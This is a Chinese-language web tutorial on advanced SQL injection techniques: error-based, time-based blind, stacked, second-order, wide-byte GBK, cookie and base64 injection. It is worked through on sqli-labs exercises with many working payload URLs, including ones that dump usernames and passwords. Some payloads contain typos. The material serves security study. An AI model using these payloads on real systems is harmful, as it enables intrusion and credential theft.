您好,登錄后才能下訂單哦!
這篇文章主要介紹了web安全中SQL注入進階的方法是什么的相關知識,內容詳細易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇web安全中SQL注入進階的方法是什么文章都會有所收獲,下面我們一起來看看吧。
查庫 (select schema_name from information_schema.schemata limit m,n) 查表 (select table_name from information_schema.columns where table_schema=’whc’ limit 0,1) 查字段 (select column_name from information_schema.columns where table_schema=’whc’ limit 0,1) 加上limit 是因為sqllab里面限制了回顯的個數,實戰里面應該用不到。
用法:
select 1,count(*),concat(0x3a,0x3a,(select use()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
函數釋義:
rand() 隨機數函數 產生0-1的隨機數 count(_) 計數 floor() 向下取整函數,舍去小數點,比如:floor(1.3)=1 floor(rand()_2) 結果只有0和1 group by name 按name的首位字典順序排列 concat() 連接括號里面的內容 select 1 from (table name) 派生表
此處有三個點,一是需要count計數,二是floor,取得0 or 1,進行數據的重復,三是group by進行分組,但具體原理解釋不是很通,大致原理為分組后數據計數時重復造成的錯誤。也有解釋為mysql 的bug 的問題。但是此處需要將rand(0),rand()需要多試幾次才行。
在sqli less-5上進行測試
這里只用user()來做實例,其他爆表,爆字段直接代替user()就行了
id=1' union select 1,count(*),concat(0x3a,0x3a,user(),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
可以簡化成這樣:
id=1' and (select count(*) from information_schema.tables group by concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand(0)*2))) --+
也可以改成這樣:
id=1' and (select 1 from (select count(*),(concat(0x3a,user(),0x3a,floor(rand()*2)))name from information_schema.tables group by name)b --+
語句分解:
(select 1 from b) //在b上做派生表 b=select count(_),name from information_schema.tables group by name //從information_schema里面選取那么的內容和計數的內容 name=concat(0x3a,(查詢內容),0x3a,floor(rand()_2)) //把:和查詢內容,還有隨機取整數 連接在一起 具體為什么count(_),floor(rand(0)_2) group by 會報錯,必須說這三個元素必須全部放在一個語句里才能報錯。
解釋下select 1 from table
它的作用就是 增加臨時列,每行的列值是寫在select后的數,這條sql語句中是1
rand(0) rand(1)和rand()的區別
rand()會隨機報錯,就是有可能報錯,有的時候不會,rand(0)肯定會報錯,rand(1)則一定不會報錯。
所以要讓他報錯的話直接用rand(0)
主要的兩個函數:
Mysql5.1.5
updatexml():對xml進行查詢和修改
extractvalue():對xml進行查詢和修改
都是最大爆32位。
and updatexml(1,concat(0×26,(version()),0×26),1);
and (extractvalue(1,concat(0×26,(version()),0×26)));
Sqli-lab less5測試:
http://192.168.1.180/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x26,database(),0x26),1);--+
http://192.168.1.180/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x26,database(),0x26));--+
它與Boolean注入的不同之處在于,時間注入是利用sleep()
或benchmark()
等函數讓mysql的執行時間變長。
時間盲注多與IF(expr1,expr2,expr3)
結合使用,此if語句含義是:如果expr1是TRUE
,則IF()的返回值為expr2:否則返回值為expr3,
[http://43.247.91.228:84/Less-9/?id=1’ and if(length(database](http://43.247.91.228:84/Less-9/?id=1' and if(length(database)()))>1,sleep(5),1)%23 //判斷數據庫的庫名長度為多少
http://43.247.91.228:84/Less-9/?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),1) //判斷數據庫名的第一個字
在線靶場
這里輸入?id=1' ?id=1"頁面都沒有變化,說明之前的注入方法都沒用,包括boolean型盲注也都不行了。
嘗試基于時間的盲注,這里需要介紹一個mysql內置的函數sleep(5)
表示執行這個函數時會延遲5秒。(每種數據庫都有各自延時函數)
可以用F12看下網站處理這個請求正常需要的時間。
輸入http://43.247.91.228:84/Less-9/?id=1
響應時間為1秒內。
輸入:http://43.247.91.228:84/Less-9/?id=1’ and sleep(5)%23
響應時間為5秒
利用burp進行抓包利用破解對a-z的字母進行窮舉,得到數據庫名。
時間注入代碼分析
在時間注入頁面中,程序獲取GET參數ID,通過preg_match判斷參數ID中是否存在Union危險字符,然后將參數ID拼接到SQL語句中。從數據庫中查詢SQL語句,如果有結果,則返回yes,否則返回no。當訪問該頁面時,代碼根據數據庫查詢結果返回YES或no,而不返回數據庫中的任何數據庫,所以一頁面上只會顯示yes或no ,和Boolean注入不同的是,此處沒有過濾sleep等字符,
此處當訪問id=1‘ and if (ord(substring(user(),1,1))=114,sleep(3),1)%23
由于user()為root,root第一個字符‘r’的ASCII值是114,所以SQL語句中if條件成立,執行sleep(3),頁面會延遲3s,通過這種延遲即可判斷sql語句的執行結果。
堆疊查詢可以執行多條語句,多語句之間以分號(;)隔開。堆疊查詢注入就是利用這個特點。
‘;select if(substr(user(),1,1)=’r’,sleep(3),1)%23 //利用堆疊注入獲取數據
‘;select if(substr((select table_name form information_schema.tables where table_schema=datables() limit 0,1),1,1)=’e’,sleep(3),1)%23 //利用堆載獲取表名
在堆疊注入頁面中,程序獲取GET參數ID,使用PDO的方式進行數據查詢,但仍然將參數ID拼接到查詢語句中,導致PDO沒有起到預編譯的效果,程序仍然存在SQL注入漏洞。
使用POD執行SQL語句時,可以執行多語句,不過這樣通常不能直接得到注入結果,因為POD只會返回第一條SQL語句執行的結果,所以在第二條語句中可以用update更新數據或者使用時間盲注獲取數據。訪問:dd.php?id=1’;select if(ord(substing(user(),1,1))=114,sleep(3),1);%23
時執行sql語句為:
SELECT * FROM users where ‘id’ =’1’; select if(ord(substring(user(),1,1))=114,sleep(3),1);%23
此時SQL語句分為了兩條,第一SELECT * FROM user where ‘id‘ =’1‘
是代碼自己的selct查詢,而selct if(ord(substring(user(),1,1))=114,sleep(3),1)%23
則是我們構造的時間盲注的語句。
二次注入是指已存儲(數據庫,文件)的用戶輸入被讀取后再次進入到SQL查詢語句中導致的注入。
二次注入是sql注入的一種,但是比普通sql注入利用更加困難,利用門檻更高。
普通注入數據直接進入到 SQL 查詢中,而二次注入則是輸入數據經處理后存儲,取出后,再次進入到 SQL 查詢。
二次注入的原理,在第一次進行數據庫插入數據的時候,僅僅只是使用了addslashes
或者是借助 get_magic_quotes_gpc
對其中的特殊字符進行了轉義,在寫入數據庫的時候還是保留了原來的數據,但是數據本身還是臟數據
。
在將數據存入到了數據庫中之后,開發者就認為數據是可信的。在下一次進行需要進行查詢的時候,直接從數據庫中取出了臟數據,沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。比如在第一次插入數據的時候,數據中帶有單引號,直接插入到了數據庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入。
靶場練習地址
二次注入的實例——SQLIlab lesson-24
學習SQL注入,必定要刷SQLIlab,這里以SQLIlab lesson-24為例,也是考察的二次注入的點。打開題目
這題正常的流程是首先注冊一個賬號,然后登陸進去會讓你修改新的密碼:
如果直接嘗試在登陸處嘗試SQL注入,payload: admin’#
發現失敗:
看一下源代碼:
登陸處的username
和password
都經過了mysql_real_escape_string
函數的轉義,直接執行SQL語句會轉義’,所以該處無法造成SQL注入。
Ok,此時我們注冊一個test’#的賬號:
注冊用戶的時候用了mysql_escape_string
過濾參數:
但是數據庫中還是插入了問題數據test’#
也就是說經過mysql_escape_string
轉義的數據存入數據庫后被還原,這里做了一個測試:
回到題目,此時,test用戶的原來密碼為test,我們以test’#用戶登陸,再進行密碼修改
我們無需填寫current password即可修改test用戶的密碼:
我們再看一下test用戶的密碼:
Ok,我們看一下源代碼:
Username直接從數據庫中取出,沒有經過轉義處理。在更新用戶密碼的時候其實執行了下面的命令:
“UPDATEusers SET PASSWORD=’22′ where **username=’test’#**‘ and password=’$curr_pass’”;
因為我們將問題數據存儲到了數據庫,而程序再取數據庫中的數據的時候沒有進行二次判斷便直接帶入到代碼中,從而造成了二次注入;
以下代碼實現了簡單的用戶注冊功能,程序獲取到GET參數username和參數password,然后將username和password拼接到SQL語句,使用insert 語句插入數據庫中,由于參數username使用addslashes進行轉義,參數password進行了MD5哈希,所以此處不存在SQL注入漏洞。
當訪問username=test’&password=123456時,
執行的SQL語句為:
Insert into users(‘username’,’password’) values (‘test\’’,’ E10ADC3949BA59ABBE56E057F20F883E’)
數據庫中就會存在一條名為test‘的用戶
如今有很多人在編碼的時候,大多數人對程序的編碼都使用unicode編碼,網站都使用utf-8來一個統一國際規范。但仍然有很多,包括國內及國外(特別是非英語國家)的一些cms,仍然使用著自己國家的一套編碼,比如gbk,作為自己默認的編碼類型。也有一些cms為了考慮老用戶,所以出了gbk和utf-8兩個版本。一個gbk編碼漢字,占用2個字節。一個utf-8編碼的漢字,占用3個字節。
至于mysql寬字節注入的原理就是因為數據庫使用了GBK編碼
GBK 占用兩字節
ASCII占用一字節
PHP中編碼為GBK,函數執行添加的是ASCII編碼(添加的符號為“\”),MYSQL默認字符集是GBK等寬字節字符集。
大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函數,或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\的十六進制是 %5C ,那么現在 %df\’ =%df%5c%27,如果程序的默認字符集是GBK等寬字節字符集,則MySQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。
sqli-32 題
測試靶場地址
思路:
由于單引號被過濾了,所以我們使用%df
吃掉 \, 具體的原因是urlencode(\') = %5c%27
,我們在%5c%27
前面添加%df
,形成%df%5c%27
,而上面提到的mysql在GBK編碼方式的時候會將兩個字節當做一個漢字,此事%df%5c
就是一個漢字,%27則作為一個單獨的符號在外面,同時也就達到了我們的目的。
將 ' 中的 \ 過濾掉,例如可以構造 %**%5c%5c%27
的情況,后面的%5c
會被前面的%5c
給注釋掉。這也是bypass的一種方法。
注入實操:
(1) 構造代碼,成功繞過,payload如下:
http://localhost:81/sqli-labs-master/Less-32/index.php?id=1%df%27 and 1=1--+
(2)order by查詢字段數
http://localhost:81/sqli-labs-master/Less-32/index.php?id=1%df%27 order by 4--+
(3)union selec聯合查詢
http://localhost:81/sqli-labs-master/Less-32/index.php?id=0%df%27 union select 1,2,3--+
其他的都是一樣的了、。。。。。。。。。。。
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 oder by 3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,2,3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,database(),3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,(select group_concat(username,password) from users),3--+
在寬字節注入頁面中,程序獲取GET參數ID,并對參數ID使用addslashes()轉義,然后拼接到SQL語句中,進行查詢;
當訪問id=1‘時,執行的SQL語句:
SELECT * FORM users WHWRE id=’1\’’
可以看到單引號被轉義符“\”轉義,所以在一般情況下,是無法注入的,但由于在數據庫查詢前執行了SET NAMES ‘GBK’,將編碼設置為寬字節GBK,所以此處存在寬字節注入漏洞,
在php中,通過iconv()進行編碼轉換時,也可能存在寬字符注入漏洞。
Cookie 注入攻擊
通常我們的開發人員在開發過程中會特別注意到防止惡意用戶進行惡意的注入操作,因此會對傳入的參數進行適當的過濾,但是很多時候,由于個人對安全技術了解的不同,有些開發人員只會對get,post這種方式提交的數據進行參數過濾。
但我們知道,很多時候,提交數據并非僅僅只有get\post這兩種方式,還有一種經常被用到的方式:request("xxx"),即request方法
通過這種方法一樣可以從用戶提交的參數中獲取參數值,這就造成了cookie注入的最基本條件:使用了request方法,但是注入保護程序中只對get\post方法提交的數據進行了過濾。
靶場地址
這關是一個Cookie處的注入,輸入正確的賬號密碼后,會跳到index.php頁面,如下圖
這個時候再訪問登陸頁面的時候http://43.247.91.228:84/Less-20/還是上面的頁面,因為登陸后將信息存在了Cookie中,后臺進行判斷,發現Cookie中有值時會顯示上面的個人信息,而不是登錄框。 在上面哪些信息中可以看到,多出了一個Your ID:8,這個信息很有可能是從數據庫中查詢出來的,我們再次訪問該頁面,使用burp抓包分析
可以看到Cookie中有uname=admin,說明后臺很有可能利用cookie中的uname取數據庫中進行查詢操作。
將cookie中的信息改為uname=admin'
頁面報錯了,并且從報錯信息中可以看出,后臺使用的是單引號進行的拼湊。后面沒有必要繼續下去了,聯表查詢、報錯注入、盲注在這里都是可以的。
繼續使用burp進Cookie: uname=admin' AND UpdateXml(1,concat(0x7e,(select username from users LIMIT 1,1),0x7e),1)# ;
得到:
通過$COOKIE能獲取瀏覽器cookie中的數據,在cookie注入頁面中程序通過$COOKIE獲取參數ID,然后直接將ID拼接到slect語句中進行查詢,如果有結果則將結果輸出到頁面。
這里可以看到,由于沒有過濾cookie中的參數ID且直接拼接到SQL語句中,所以存在SQL注入漏洞。當在cookie中添加id=1 union select 1,2,3%23時,執行的SQL語句為:
Select * from users where ‘id’=1 union select 1,2,3#
此時,SQL語句可以分為select * from users where ‘id’ =1 和 union select 1,2,3兩條,利用第二條語句就可以獲取數據庫中的數據。
在base64 注入頁面中,程序獲取GET參數ID,利用base64_decode()對參數ID進行base64解碼,然后直接將解碼后的$id拼接到select語句中進行查詢,通過while循環將查詢結果輸出到頁面。
由于代碼沒有過濾解碼后的$id,且將$id直接拼接到SQL語句中,所以存在SQL注入漏洞。當訪問id=1 union select 1,2,3#
時,執行的SQL語句為:
Select * from users wheren ‘id’=1 union select 1,2,3#
此時SQL語句可以分為select * form users where ‘id’=1和union select 1,2,3
兩條,利用第二條語句就可以獲取數據庫中的數據。
PHP 中的getenv()函數用于獲取一個環境變量的值,類似于$SERVER或$ENV,返回環境變量對應的值,如果環境變量不存在則返回FALSE。
程序先判斷是否存在HTTP頭部參數
關于“web安全中SQL注入進階的方法是什么”這篇文章的內容就介紹到這里,感謝各位的閱讀!相信大家對“web安全中SQL注入進階的方法是什么”知識都有一定的了解,大家如果還想學習更多知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。